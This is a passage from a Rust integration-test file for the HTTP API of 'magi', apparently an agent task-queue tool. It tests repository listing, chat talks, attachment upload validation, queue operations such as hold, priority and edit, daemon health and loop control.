4472 "a task filed by a route that does not exist must not reach the disk"
4473 );
4474 assert_eq!(f.get("/api/queue").await.status, 200);
4477 }
4478
4479 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
4481 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
4482 .expect("checkout dir");
4483 }
4484
4485 #[tokio::test]
4486 async fn repos_list_returns_name_and_path_for_every_configured_root() {
4487 let tmp = TempDir::new().expect("tempdir");
4488 let repo = tmp.path().join("repo");
4489 std::fs::create_dir_all(&repo).expect("repo dir");
4490 let root = tmp.path().join("root");
4491 make_checkout(&root, "github.com", "yukimemi", "magi");
4492 std::fs::write(
4493 repo.join("magi.toml"),
4494 format!(
4495 "[repos]\nroots = [{:?}]\n",
4496 root.to_string_lossy().into_owned()
4497 ),
4498 )
4499 .expect("write magi.toml");
4500
4501 let f = Fixture::with_repo(repo).await;
4502 let res = f.get("/api/repos").await;
4503 assert_eq!(res.status, 200, "{}", res.body);
4504 let list = res.json();
4505 let repos = list.as_array().expect("an array");
4506 assert_eq!(repos.len(), 1);
4507 assert_eq!(repos[0]["name"], "yukimemi/magi");
4508 assert!(
4509 repos[0]["path"]
4510 .as_str()
4511 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
4512 "{list}"
4513 );
4514 }
4515
4516 #[tokio::test]
4517 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
4518 let tmp = TempDir::new().expect("tempdir");
4519 let repo = tmp.path().join("repo");
4520 std::fs::create_dir_all(&repo).expect("repo dir");
4521 let root = tmp.path().join("root");
4522 make_checkout(&root, "github.com", "yukimemi", "magi");
4523 std::fs::write(
4524 repo.join("magi.toml"),
4525 format!(
4526 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
4527 root.to_string_lossy().into_owned()
4528 ),
4529 )
4530 .expect("write magi.toml");
4531
4532 let f = Fixture::with_repo(repo).await;
4533 let first = f.get("/api/repos").await;
4534 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
4535
4536 make_checkout(&root, "github.com", "yukimemi", "rvpm");
4539 let second = f.get("/api/repos").await;
4540 assert_eq!(
4541 second.json().as_array().map(Vec::len),
4542 Some(1),
4543 "a fresh cache must not rescan inside the TTL"
4544 );
4545
4546 let refreshed = f.get("/api/repos?refresh=1").await;
4547 assert_eq!(
4548 refreshed.json().as_array().map(Vec::len),
4549 Some(2),
4550 "an explicit refresh must rescan even inside the TTL"
4551 );
4552 }
4553
4554 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
4560
4561 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
4565 let tmp = TempDir::new().expect("tempdir");
4566 let repo = tmp.path().join("repo");
4567 std::fs::create_dir_all(&repo).expect("repo dir");
4568 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
4569 let f = Fixture::with_repo(repo.clone()).await;
4570 (tmp, repo, f)
4571 }
4572
4573 #[tokio::test]
4574 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
4575 let (_tmp, _repo, f) = talk_fixture().await;
4576
4577 let opened = f.post("/api/talks", None).await;
4580 assert_eq!(opened.status, 201, "{}", opened.body);
4581 let body = opened.json();
4582 assert_eq!(body["status"], "open");
4583 assert_eq!(
4584 body["turns"].as_array().unwrap().len(),
4585 0,
4586 "opening takes no agent turn: there is nothing yet to answer"
4587 );
4588
4589 let also_opened = f.post("/api/talks", Some("{}")).await;
4591 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
4592
4593 let listed = f.get("/api/talks").await.json();
4594 assert_eq!(listed.as_array().unwrap().len(), 2);
4595 }
4596
4597 #[tokio::test]
4598 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
4599 let f = Fixture::start().await;
4600 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
4601 let queue = f.queue();
4602 let mut mine = Task::new(
4603 "rename the loader".to_owned(),
4604 "rename the loader".to_owned(),
4605 PathBuf::from("/repo/magi"),
4606 Source::Agent {
4607 run: talk_id.clone(),
4608 node: "chat".to_owned(),
4609 },
4610 );
4611 queue.put(&mut mine).expect("file the task");
4612 let mut theirs = Task::new(
4613 "unrelated".to_owned(),
4614 "unrelated".to_owned(),
4615 PathBuf::from("/repo/magi"),
4616 Source::Human,
4617 );
4618 queue.put(&mut theirs).expect("file the task");
4619
4620 let res = f.get(&format!("/api/talks/{talk_id}")).await;
4621 assert_eq!(res.status, 200, "{}", res.body);
4622 let body = res.json();
4623 assert_eq!(
4624 body["status"], "open",
4625 "filing a task does not close a talk"
4626 );
4627 let tasks = body["tasks"].as_array().expect("tasks array");
4628 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
4629 assert_eq!(tasks[0]["id"], mine.id);
4630 }
4631
4632 #[tokio::test]
4633 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
4634 let (_tmp, _repo, f) = talk_fixture().await;
4635 let id = f.post("/api/talks", None).await.json()["id"]
4636 .as_str()
4637 .expect("id")
4638 .to_owned();
4639
4640 let res = f
4641 .post(
4642 &format!("/api/talks/{id}/say"),
4643 Some(r#"{"text":"what does the queue module do?"}"#),
4644 )
4645 .await;
4646 assert_eq!(res.status, 202, "{}", res.body);
4647 let queued = res.json();
4648 let turns = queued["turns"].as_array().expect("turns array");
4649 assert_eq!(
4650 turns.len(),
4651 1,
4652 "the answer reflects only what is on disk the instant it is sent, \
4653 before the agent's turn - which can run for the whole of \
4654 `[graph] timeout_talk` - has a chance to land: {queued}"
4655 );
4656 assert_eq!(turns[0]["who"], "operator");
4657 assert_eq!(turns[0]["body"], "what does the queue module do?");
4658
4659 let mut turns_after = 1;
4660 for _ in 0..200 {
4661 let detail = f.get(&format!("/api/talks/{id}")).await.json();
4662 turns_after = detail["turns"].as_array().expect("turns array").len();
4663 if turns_after == 2 {
4664 break;
4665 }
4666 tokio::time::sleep(Duration::from_millis(10)).await;
4667 }
4668 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
4669 }
4670
4671 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
4674
4675 #[tokio::test]
4676 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
4677 let f = Fixture::start().await;
4678 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
4679
4680 let res = f
4681 .post_bytes(
4682 &format!("/api/talks/{id}/attachments"),
4683 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
4684 PNG_BYTES,
4685 )
4686 .await;
4687 assert_eq!(res.status, 201, "{}", res.body);
4688 let body = res.json();
4689 assert_eq!(body["name"], "shot.png");
4690 assert_eq!(body["mime"], "image/png");
4691 assert_eq!(body["bytes"], PNG_BYTES.len());
4692 let att_id = body["id"].as_str().expect("id").to_owned();
4693 assert_eq!(
4694 att_id.len(),
4695 32,
4696 "the id must never be a client-suppliable path: {att_id}"
4697 );
4698
4699 let got = f
4700 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
4701 .await;
4702 assert_eq!(got.status, 200, "{}", got.body);
4703 assert_eq!(got.header("content-type"), Some("image/png"));
4704 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
4705 assert_eq!(got.bytes, PNG_BYTES);
4706 }
4707
4708 #[tokio::test]
4709 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
4710 let f = Fixture::start().await;
4711 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
4712
4713 let svg = f
4716 .post_bytes(
4717 &format!("/api/talks/{id}/attachments"),
4718 &[("Content-Type", "image/svg+xml")],
4719 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
4720 )
4721 .await;
4722 assert!(
4723 (400..500).contains(&svg.status),
4724 "svg must be refused: {} {}",
4725 svg.status,
4726 svg.body
4727 );
4728 assert!(svg.body.contains("SVG"), "{}", svg.body);
4729
4730 let text = f
4731 .post_bytes(
4732 &format!("/api/talks/{id}/attachments"),
4733 &[("Content-Type", "text/plain")],
4734 b"just some text",
4735 )
4736 .await;
4737 assert!(
4738 (400..500).contains(&text.status),
4739 "an unlisted type must be refused: {} {}",
4740 text.status,
4741 text.body
4742 );
4743
4744 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
4747 let big = f
4748 .post_bytes(
4749 &format!("/api/talks/{id}/attachments"),
4750 &[("Content-Type", "image/png")],
4751 &oversized,
4752 )
4753 .await;
4754 assert_eq!(
4755 big.status,
4756 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
4757 "{}",
4758 big.body
4759 );
4760 }
4761
4762 #[tokio::test]
4763 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
4764 let f = Fixture::start().await;
4765 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
4766
4767 let res = f
4770 .post_bytes(
4771 &format!("/api/talks/{id}/attachments"),
4772 &[("Content-Type", "image/png")],
4773 b"<html>not a picture</html>",
4774 )
4775 .await;
4776 assert!((400..500).contains(&res.status), "{}", res.body);
4777 }
4778
4779 #[tokio::test]
4780 async fn an_unknown_attachment_id_is_a_404() {
4781 let f = Fixture::start().await;
4782 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
4783
4784 let res = f
4785 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
4786 .await;
4787 assert_eq!(res.status, 404, "{}", res.body);
4788 }
4789
4790 #[tokio::test]
4791 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
4792 let f = Fixture::start().await;
4793 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
4794
4795 let uploaded = f
4796 .post_bytes(
4797 &format!("/api/talks/{id}/attachments"),
4798 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
4799 PNG_BYTES,
4800 )
4801 .await;
4802 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
4803 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
4804
4805 let res = f
4806 .post(
4807 &format!("/api/talks/{id}/say"),
4808 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
4809 )
4810 .await;
4811 assert_eq!(res.status, 202, "{}", res.body);
4812 let queued = res.json();
4813 let turns = queued["turns"].as_array().expect("turns array");
4814 assert_eq!(
4815 turns.len(),
4816 1,
4817 "an empty body with an attachment is still a turn: {queued}"
4818 );
4819 assert_eq!(turns[0]["who"], "operator");
4820 assert_eq!(turns[0]["body"], "");
4821 let atts = turns[0]["attachments"]
4822 .as_array()
4823 .expect("attachments array");
4824 assert_eq!(atts.len(), 1);
4825 assert_eq!(atts[0]["id"], att_id);
4826 assert_eq!(atts[0]["mime"], "image/png");
4827
4828 let on_disk = f.talks().get(&id).expect("get");
4831 assert_eq!(on_disk.turns[0].attachments.len(), 1);
4832 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
4833 }
4834
4835 #[tokio::test]
4836 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
4837 let f = Fixture::start().await;
4838 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
4839
4840 let res = f
4841 .post(
4842 &format!("/api/talks/{id}/say"),
4843 Some(&format!(
4844 r#"{{"text":"hi","attachments":["{}"]}}"#,
4845 "a".repeat(32)
4846 )),
4847 )
4848 .await;
4849 assert!((400..500).contains(&res.status), "{}", res.body);
4850 assert!(res.body.contains("unknown attachment"), "{}", res.body);
4851
4852 let on_disk = f.talks().get(&id).expect("get");
4853 assert!(
4854 on_disk.turns.is_empty(),
4855 "a rejected attachment id must not partially record the turn: {:?}",
4856 on_disk.turns
4857 );
4858 }
4859
4860 #[tokio::test]
4861 async fn talk_close_makes_the_talk_refuse_further_turns() {
4862 let f = Fixture::start().await;
4863 let id = seed_talk(&f, "20260904-014455-cd34", "open");
4864
4865 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4866 assert_eq!(closed.status, 200, "{}", closed.body);
4867 assert_eq!(closed.json()["status"], "closed");
4868
4869 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
4871 assert_eq!(closed_again.status, 200);
4872 assert_eq!(closed_again.json()["status"], "closed");
4873 }
4874
4875 #[tokio::test]
4876 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
4877 let (_tmp, _repo, f) = talk_fixture().await;
4878 let id = f.post("/api/talks", None).await.json()["id"]
4879 .as_str()
4880 .expect("id")
4881 .to_owned();
4882 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
4883 assert_eq!(closed.status, 200, "{}", closed.body);
4884
4885 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
4886 assert_eq!(reopened.status, 200, "{}", reopened.body);
4887 assert_eq!(reopened.json()["status"], "open");
4888
4889 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
4891 assert_eq!(reopened_again.status, 200);
4892 assert_eq!(reopened_again.json()["status"], "open");
4893
4894 let said = f
4895 .post(
4896 &format!("/api/talks/{id}/say"),
4897 Some(r#"{"text":"still there?"}"#),
4898 )
4899 .await;
4900 assert_eq!(
4901 said.status, 202,
4902 "a reopened talk accepts turns again: {}",
4903 said.body
4904 );
4905 }
4906
4907 #[tokio::test]
4908 async fn talk_reopen_on_an_unknown_id_is_404() {
4909 let f = Fixture::start().await;
4910 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
4911 assert_eq!(res.status, 404, "{}", res.body);
4912 }
4913
4914 #[tokio::test]
4915 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
4916 let f = Fixture::start().await;
4917 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
4918
4919 let deleted = f.delete(&format!("/api/talks/{id}")).await;
4920 assert_eq!(deleted.status, 204, "{}", deleted.body);
4921
4922 let after = f.get(&format!("/api/talks/{id}")).await;
4923 assert_eq!(after.status, 404, "{}", after.body);
4924
4925 let listed = f.get("/api/talks").await.json();
4926 assert!(
4927 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
4928 "a deleted talk must not linger in the list: {listed}"
4929 );
4930 }
4931
4932 #[tokio::test]
4933 async fn talk_delete_on_an_unknown_id_is_404() {
4934 let f = Fixture::start().await;
4935 let res = f.delete("/api/talks/nonexistent-id").await;
4936 assert_eq!(res.status, 404, "{}", res.body);
4937 }
4938
4939 #[tokio::test]
4940 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
4941 let f = Fixture::start().await;
4942 let queue = f.queue();
4943 let mut task = Task::new(
4944 "spent".to_owned(),
4945 "Try again".to_owned(),
4946 PathBuf::from("/repo/magi"),
4947 Source::Human,
4948 );
4949 task.start("20260902-140502-bbbb".to_owned());
4950 task.fail("agent gave up", 9);
4951 queue.put(&mut task).expect("file the task");
4952
4953 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4954 assert_eq!(held.status, 200);
4955 assert_eq!(held.json()["status_str"], "held");
4956
4957 let released = f
4958 .post(&format!("/api/queue/{}/release", task.id), None)
4959 .await;
4960 assert_eq!(released.status, 200);
4961 assert_eq!(released.json()["status_str"], "queued");
4962 assert_eq!(
4963 released.json()["attempts"],
4964 0,
4965 "release is a real second chance, not an instant re-hold"
4966 );
4967 assert_eq!(
4968 queue.get(&task.id).expect("reload").status,
4969 TaskStatus::Queued,
4970 "the change is on disk, not only in the reply"
4971 );
4972 assert!(
4973 !f.home
4974 .path()
4975 .join("queue")
4976 .join(format!("{}.lock", task.id))
4977 .exists(),
4978 "the claim the mutation took is released again"
4979 );
4980 }
4981
4982 #[tokio::test]
4983 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
4984 let f = Fixture::start().await;
4985 let queue = f.queue();
4986 let mut task = Task::new(
4987 "busy".to_owned(),
4988 "Running right now".to_owned(),
4989 PathBuf::from("/repo/magi"),
4990 Source::Human,
4991 );
4992 queue.put(&mut task).expect("file the task");
4993 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
4994
4995 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
4996
4997 assert_eq!(res.status, 409);
4998 assert_eq!(
4999 queue.get(&task.id).expect("reload").status,
5000 TaskStatus::Queued,
5001 "the refused hold changed nothing"
5002 );
5003 }
5004
5005 #[tokio::test]
5006 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5007 let f = Fixture::start().await;
5008 let queue = f.queue();
5009 let mut task = Task::new(
5010 "waiting on the migration".to_owned(),
5011 "Do the thing".to_owned(),
5012 PathBuf::from("/repo/magi"),
5013 Source::Human,
5014 );
5015 queue.put(&mut task).expect("file the task");
5016
5017 let held = f
5018 .post(
5019 &format!("/api/queue/{}/hold", task.id),
5020 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5021 )
5022 .await;
5023 assert_eq!(held.status, 200, "{}", held.body);
5024 assert_eq!(held.json()["status_str"], "held");
5025 assert_eq!(
5026 held.json()["hold_reason"],
5027 "waiting for 20260101-000000-aaaa to land"
5028 );
5029
5030 let listed = f.get("/api/queue").await.json();
5031 assert_eq!(
5032 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
5033 "the card reads the reason off the same list route"
5034 );
5035
5036 let mut plain = Task::new(
5039 "no reason given".to_owned(),
5040 "Do another thing".to_owned(),
5041 PathBuf::from("/repo/magi"),
5042 Source::Human,
5043 );
5044 queue.put(&mut plain).expect("file the task");
5045 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
5046 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
5047 assert!(held_plain.json()["hold_reason"].is_null());
5048
5049 let released = f
5050 .post(&format!("/api/queue/{}/release", task.id), None)
5051 .await;
5052 assert_eq!(released.status, 200);
5053 assert!(
5054 released.json()["hold_reason"].is_null(),
5055 "a release must clear the reason so the next hold does not inherit it"
5056 );
5057 }
5058
5059 #[tokio::test]
5060 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
5061 let f = Fixture::start().await;
5062 let queue = f.queue();
5063 let mut older = Task::new(
5064 "filed first".to_owned(),
5065 "x".to_owned(),
5066 PathBuf::from("/repo/magi"),
5067 Source::Human,
5068 );
5069 older.id = "20260101-000001-aaaa".to_owned();
5070 let mut newer = Task::new(
5071 "filed second".to_owned(),
5072 "x".to_owned(),
5073 PathBuf::from("/repo/magi"),
5074 Source::Human,
5075 );
5076 newer.id = "20260101-000002-bbbb".to_owned();
5077 queue.put(&mut older).expect("file older");
5078 queue.put(&mut newer).expect("file newer");
5079
5080 let before = f.get("/api/queue").await.json();
5083 assert_eq!(before[0]["id"], newer.id);
5084 assert_eq!(before[1]["id"], older.id);
5085
5086 let raised = f
5090 .post(
5091 &format!("/api/queue/{}/priority", older.id),
5092 Some(r#"{"priority":10}"#),
5093 )
5094 .await;
5095 assert_eq!(raised.status, 200, "{}", raised.body);
5096 assert_eq!(raised.json()["priority"], 10);
5097
5098 let after = f.get("/api/queue").await.json();
5099 let names: Vec<&str> = after
5100 .as_array()
5101 .unwrap()
5102 .iter()
5103 .map(|t| t["id"].as_str().unwrap())
5104 .collect();
5105 assert_eq!(names[0], older.id, "the raised task now sorts first");
5109 }
5110
5111 #[tokio::test]
5112 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
5113 let f = Fixture::start().await;
5114 let queue = f.queue();
5115 let mut task = Task::new(
5116 "in flight".to_owned(),
5117 "x".to_owned(),
5118 PathBuf::from("/repo/magi"),
5119 Source::Human,
5120 );
5121 task.start("20260902-140502-bbbb".to_owned());
5122 queue.put(&mut task).expect("file the task");
5123
5124 let res = f
5125 .post(
5126 &format!("/api/queue/{}/priority", task.id),
5127 Some(r#"{"priority":9}"#),
5128 )
5129 .await;
5130 assert_eq!(res.status, 400, "{}", res.body);
5131 assert!(
5132 res.json()["error"]
5133 .as_str()
5134 .is_some_and(|e| e.contains("running")),
5135 "{}",
5136 res.body
5137 );
5138 assert_eq!(
5139 queue.get(&task.id).expect("reload").priority,
5140 0,
5141 "the refused write must not partially apply"
5142 );
5143 }
5144
5145 #[tokio::test]
5146 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
5147 let f = Fixture::start().await;
5148 let queue = f.queue();
5149 let mut task = Task::new(
5150 "old title".to_owned(),
5151 "old instruction".to_owned(),
5152 PathBuf::from("/repo/magi"),
5153 Source::Agent {
5154 run: "20260101-000000-beef".to_owned(),
5155 node: "implement".to_owned(),
5156 },
5157 );
5158 task.runs.push("20260101-000000-beef".to_owned());
5159 queue.put(&mut task).expect("file the task");
5160 let created_at = task.created_at;
5161
5162 let edited = f
5163 .post(
5164 &format!("/api/queue/{}/edit", task.id),
5165 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
5166 )
5167 .await;
5168 assert_eq!(edited.status, 200, "{}", edited.body);
5169 let body = edited.json();
5170 assert_eq!(body["title"], "new title");
5171 assert_eq!(body["instruction"], "new instruction");
5172 assert_eq!(body["id"], task.id, "editing must not mint a new id");
5173 assert_eq!(body["created_at"], created_at.to_string());
5174 assert_eq!(
5175 body["source"]["kind"], "agent",
5176 "editing a task an agent filed must not turn it human: {body}"
5177 );
5178 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5179
5180 let reloaded = queue.get(&task.id).expect("reload");
5181 assert_eq!(reloaded.title, "new title");
5182 assert_eq!(reloaded.instruction, "new instruction");
5183 }
5184
5185 #[tokio::test]
5186 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5187 let f = Fixture::start().await;
5188 let queue = f.queue();
5189 let mut task = Task::new(
5190 "in flight".to_owned(),
5191 "do not touch".to_owned(),
5192 PathBuf::from("/repo/magi"),
5193 Source::Human,
5194 );
5195 task.start("20260902-140502-bbbb".to_owned());
5196 queue.put(&mut task).expect("file the task");
5197
5198 let res = f
5199 .post(
5200 &format!("/api/queue/{}/edit", task.id),
5201 Some(r#"{"title":"x","instruction":"y"}"#),
5202 )
5203 .await;
5204 assert_eq!(res.status, 400, "{}", res.body);
5205 assert!(
5206 res.json()["error"]
5207 .as_str()
5208 .is_some_and(|e| e.contains("running")),
5209 "{}",
5210 res.body
5211 );
5212 assert_eq!(
5213 queue.get(&task.id).expect("reload").instruction,
5214 "do not touch",
5215 "the refused edit must not change the file"
5216 );
5217 }
5218
5219 #[tokio::test]
5220 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5221 let f = Fixture::start().await;
5222 let queue = f.queue();
5223 let mut task = Task::new(
5224 "busy".to_owned(),
5225 "Running right now".to_owned(),
5226 PathBuf::from("/repo/magi"),
5227 Source::Human,
5228 );
5229 queue.put(&mut task).expect("file the task");
5230 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5231
5232 let priority = f
5233 .post(
5234 &format!("/api/queue/{}/priority", task.id),
5235 Some(r#"{"priority":9}"#),
5236 )
5237 .await;
5238 assert_eq!(priority.status, 409, "{}", priority.body);
5239
5240 let edit = f
5241 .post(
5242 &format!("/api/queue/{}/edit", task.id),
5243 Some(r#"{"title":"x","instruction":"y"}"#),
5244 )
5245 .await;
5246 assert_eq!(edit.status, 409, "{}", edit.body);
5247 }
5248
5249 #[tokio::test]
5250 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5251 let f = Fixture::start().await;
5252 let queue = f.queue();
5253 let mut task = Task::new(
5254 "shipped by hand".to_owned(),
5255 "merged outside the loop".to_owned(),
5256 PathBuf::from("/repo/magi"),
5257 Source::Agent {
5258 run: "20260101-000000-b455".to_owned(),
5259 node: "implement".to_owned(),
5260 },
5261 );
5262 task.runs.push("20260101-000000-b455".to_owned());
5263 task.runs.push("20260101-000000-9af4".to_owned());
5264 queue.put(&mut task).expect("file the task");
5265 let created_at = task.created_at;
5266
5267 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5268 assert_eq!(done.status, 200, "{}", done.body);
5269 assert_eq!(done.json()["status_str"], "done");
5270
5271 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5272 assert_eq!(
5273 reloaded.runs,
5274 ["20260101-000000-b455", "20260101-000000-9af4"]
5275 );
5276 assert_eq!(
5277 reloaded.source,
5278 Source::Agent {
5279 run: "20260101-000000-b455".to_owned(),
5280 node: "implement".to_owned(),
5281 }
5282 );
5283 assert_eq!(reloaded.created_at, created_at);
5284 }
5285
5286 #[tokio::test]
5287 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5288 let f = Fixture::start().await;
5293 let queue = f.queue();
5294 let mut task = Task::new(
5295 "landed while held".to_owned(),
5296 "x".to_owned(),
5297 PathBuf::from("/repo/magi"),
5298 Source::Human,
5299 );
5300 task.hold(Some("waiting on 3ed9".to_owned()));
5301 queue.put(&mut task).expect("file the held task");
5302
5303 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5304 assert_eq!(done.status, 200, "{}", done.body);
5305 assert_eq!(done.json()["status_str"], "done");
5306 assert!(
5307 done.json()["hold_reason"].is_null(),
5308 "a done task cannot still be waiting on something: {}",
5309 done.body
5310 );
5311 }
5312
5313 #[tokio::test]
5314 async fn unknown_ids_are_json_not_found_on_both_stores() {
5315 let f = Fixture::start().await;
5316
5317 let run = f.get("/api/runs/nosuchrun").await;
5318 let task = f.post("/api/queue/nosuchtask/hold", None).await;
5319
5320 assert_eq!(run.status, 404);
5321 assert_eq!(task.status, 404);
5322 assert!(
5323 run.json()["error"]
5324 .as_str()
5325 .is_some_and(|e| e.contains("run")),
5326 "the error names what was not found: {}",
5327 run.body
5328 );
5329 assert!(
5330 task.json()["error"]
5331 .as_str()
5332 .is_some_and(|e| e.contains("task")),
5333 "the error names what was not found: {}",
5334 task.body
5335 );
5336 }
5337
5338 #[tokio::test]
5339 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
5340 let f = Fixture::start().await;
5341
5342 let missing = f.get("/api/health").await.json();
5343 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
5344
5345 write_daemon(
5346 f.home.path(),
5347 Timestamp::now() - jiff::SignedDuration::from_secs(60),
5348 );
5349 let stale = f.get("/api/health").await.json();
5350 assert_eq!(
5351 stale["daemon"]["running"], false,
5352 "a minute without a heartbeat is a dead daemon, not a busy one"
5353 );
5354 assert!(
5355 stale["daemon"]["stale_for_secs"]
5356 .as_i64()
5357 .is_some_and(|s| s >= 55),
5358 "staleness is reported so the UI can say how long: {stale}"
5359 );
5360
5361 write_daemon(f.home.path(), Timestamp::now());
5362 let fresh = f.get("/api/health").await.json();
5363 assert_eq!(fresh["daemon"]["running"], true);
5364 assert_eq!(fresh["daemon"]["idle"], false);
5365 assert_eq!(fresh["daemon"]["pid"], 4242);
5366 assert_eq!(fresh["daemon"]["completed"], 7);
5367 assert_eq!(
5368 fresh["daemon"]["current"][0]["task"],
5369 "20260902-140501-aaaa"
5370 );
5371 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
5372 }
5373
5374 #[tokio::test]
5375 async fn the_loop_is_not_running_until_something_starts_it() {
5376 let f = Fixture::start().await;
5377
5378 let view = f.get("/api/loop").await.json();
5379 assert_eq!(view["running"], false);
5380 assert_eq!(
5381 view["owned"], false,
5382 "nobody owns a loop that does not exist: {view}"
5383 );
5384 assert_eq!(view["stopping"], false);
5385 assert_eq!(view["last_error"], Value::Null);
5386 assert_eq!(view["daemon"]["running"], false);
5387 assert_eq!(
5388 view["repo"], "/repo/magi",
5389 "the repository a start would use, named before it is started"
5390 );
5391 }
5392
5393 #[tokio::test]
5394 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
5395 let f = Fixture::start().await;
5396
5397 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5398 assert_eq!(res.status, 200, "{}", res.body);
5399 let view = res.json();
5400 assert_eq!(view["running"], true);
5401 assert_eq!(
5402 view["owned"], true,
5403 "the loop the UI started is the UI's own to stop: {view}"
5404 );
5405 assert_eq!(
5406 view["merge"],
5407 Value::Null,
5408 "no override was given, so each repository's own config decides"
5409 );
5410
5411 let health = f.get("/api/health").await.json();
5415 assert_eq!(health["loop"]["running"], true, "{health}");
5416 assert_eq!(health["loop"]["owned"], true, "{health}");
5417
5418 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5419 }
5420
5421 #[tokio::test]
5422 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
5423 let f = Fixture::start().await;
5424 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5425 assert_eq!(first.status, 200, "{}", first.body);
5426
5427 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5428 assert_eq!(
5429 again.status, 409,
5430 "two loops on one queue race for the same claims: {}",
5431 again.body
5432 );
5433 assert!(
5434 again.json()["error"]
5435 .as_str()
5436 .is_some_and(|e| e.contains("already running the loop")),
5437 "the refusal has to say why: {}",
5438 again.body
5439 );
5440 assert_eq!(
5441 f.get("/api/loop").await.json()["running"],
5442 true,
5443 "and the loop that was already running is untouched by it"
5444 );
5445
5446 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5447 }
5448
5449 #[tokio::test]
5450 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
5451 let f = Fixture::start().await;
5452 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
5453
5454 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
5455 assert_eq!(
5456 res.status, 200,
5457 "the answer must not wait for the loop: a run in flight is tens of \
5458 minutes and the operator is holding a phone: {}",
5459 res.body
5460 );
5461
5462 let view = settled(&f, |v| v["running"] == false).await;
5463 assert_eq!(view["owned"], false);
5464 assert_eq!(
5465 view["stopping"], false,
